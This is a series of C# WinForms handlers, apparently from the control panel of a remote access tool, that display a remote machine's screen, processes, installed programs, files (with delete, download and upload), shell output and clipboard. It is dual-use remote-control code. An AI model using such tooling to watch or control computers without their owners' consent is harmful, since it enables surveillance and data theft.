private void timer1_Tick(object sender, EventArgs e) { try { if (Global.lastCommand[id] != this.myLastCommand) { this.myLastCommand = Global.lastCommand[id]; string[] rets = Regex.Split(Global.GetLastCommandText(id), "{-}"); if (rets[0] == "LSscreen") { MemoryStream stream = new MemoryStream(gzip.Decompress(utils.GetStringToBytes(rets[1]))); this.img = Image.FromStream(stream); Bitmap image = new Bitmap(this.pictureBox1.Width, this.pictureBox1.Height); Graphics graphics = Graphics.FromImage(image); graphics.InterpolationMode = InterpolationMode.HighQualityBicubic; graphics.DrawImage(this.img, 0, 0, this.pictureBox1.Width, this.pictureBox1.Height); graphics.Dispose(); this.pictureBox1.Image = image; } } } catch (Exception ex) { //MessageBox.Show(ex.Message); } }
private void timer1_Tick(object sender, EventArgs e) { try { if (Global.lastCommand[id] != this.myLastCommand) { this.myLastCommand = Global.lastCommand[id]; string[] rets = Regex.Split(Global.GetLastCommandText(id), "{-p}"); if (rets[0] == "LSprocess") { this.listView1.Items.Clear(); for (int i = 1; i < (rets.Length - 1); i++) { string[] pros = Regex.Split(rets[i], "{-pi}"); ListViewItem item = this.listView1.Items.Add(pros[0]); item.ImageIndex = 0; int num2 = Convert.ToInt32(pros[1]) / 0x400; item.SubItems.Add(num2.ToString() + " KB"); item.SubItems.Add(pros[2]); } } else if (rets[0] == "RSpkill") { Global.AddCommandToList(id, "process"); } } } catch (Exception ex) { } }
private void timer1_Tick(object sender, EventArgs e) { try { if (Global.lastCommand[id] != this.myLastCommand) { this.myLastCommand = Global.lastCommand[id]; string str = Global.GetLastCommandText(id); if (str.Substring(0, 10) == "LSprograms") { this.myLastCommand = Global.lastCommand[id]; this.listView1.Items.Clear(); string[] rets = Regex.Split(str, "{-p}"); for (int i = 1; i < (rets.Length - 1); i++) { string[] progs = Regex.Split(rets[i], "{-pi}"); ListViewItem item = this.listView1.Items.Add(progs[0]); item.ImageIndex = 0; item.SubItems.Add(progs[2]); item.SubItems.Add(progs[1]); item.SubItems.Add(progs[3]); } } } } catch (Exception ex) { } }
private void timer1_Tick(object sender, EventArgs e) { try { if (Global.lastCommand[id] != this.myLastCommand) { this.myLastCommand = Global.lastCommand[id]; string str = Global.GetLastCommandText(id); if (str.Substring(0, 6) == "LSlist") { int num; this.myLastCommand = Global.lastCommand[id]; this.treeView1.SelectedNode.Nodes.Clear(); string[] strArray2 = Regex.Split(str, "{-fbr}"); string[] strArray4 = Regex.Split(strArray2[0], "{-f}"); string[] strArray3 = Regex.Split(strArray2[1], "{-f}"); for (num = 1; num < (strArray4.Length - 1); num++) { this.treeView1.SelectedNode.Nodes.Add(new TreeNode(strArray4[num])); } this.treeView1.SelectedNode.Expand(); this.listView1.Items.Clear(); for (num = 0; num < (strArray3.Length - 1); num++) { string[] infos = Regex.Split(strArray3[num], "{-fi}"); ListViewItem item = this.listView1.Items.Add(infos[0]); item.ImageIndex = this.genImageFile(infos[0]); item.SubItems.Add(this.genSize(infos[1])); item.SubItems.Add(infos[2]); } } else if ((((str.Substring(0, 8) == "RSdelete") || (str.Substring(0, 10) == "RScreatdir")) || (str.Substring(0, 10) == "RSdownload")) || (str.Substring(0, 8) == "RSrename")) { Global.AddCommandToList(id, "list|" + this.treeView1.SelectedNode.FullPath.Replace(@"\", "/") + "/"); } else if (str.Substring(0, 8) == "LSupload") { string fileUploadFilename = this.treeView1.SelectedNode.FullPath + "\\" + curDownFileName; string[] rets = Regex.Split(str, "{-}"); SaveFileDialog sfd = new SaveFileDialog(); sfd.FileName = curDownFileName; sfd.Filter = "All Files|*.*"; if (sfd.ShowDialog() == DialogResult.OK) { File.WriteAllBytes(sfd.FileName, gzip.Decompress(utils.GetStringToBytes(rets[1]))); } } } } catch (Exception ex) { } }
private void Timer1_Tick(object sender, EventArgs e) { try { if (Global.lastCommand[id] != this.myLastCommand) { this.myLastCommand = Global.lastCommand[id]; string[] rets = Regex.Split(Global.GetLastCommandText(id), "{-}"); if (rets[0] == "LSshellexec") { textBox1.AppendText(rets[1]); } } } catch (Exception ex) { //MessageBox.Show(ex.Message); } }
private void timer1_Tick(object sender, EventArgs e) { string[] strArray = new string[5]; try { if (Global.lastCommand[id] != this.myLastCommand) { this.myLastCommand = Global.lastCommand[id]; strArray = Regex.Split(Global.GetLastCommandText(id), "{-c}"); if (strArray[0] == "LSclipboard") { this.textBox1.Text = strArray[1]; } } } catch { } }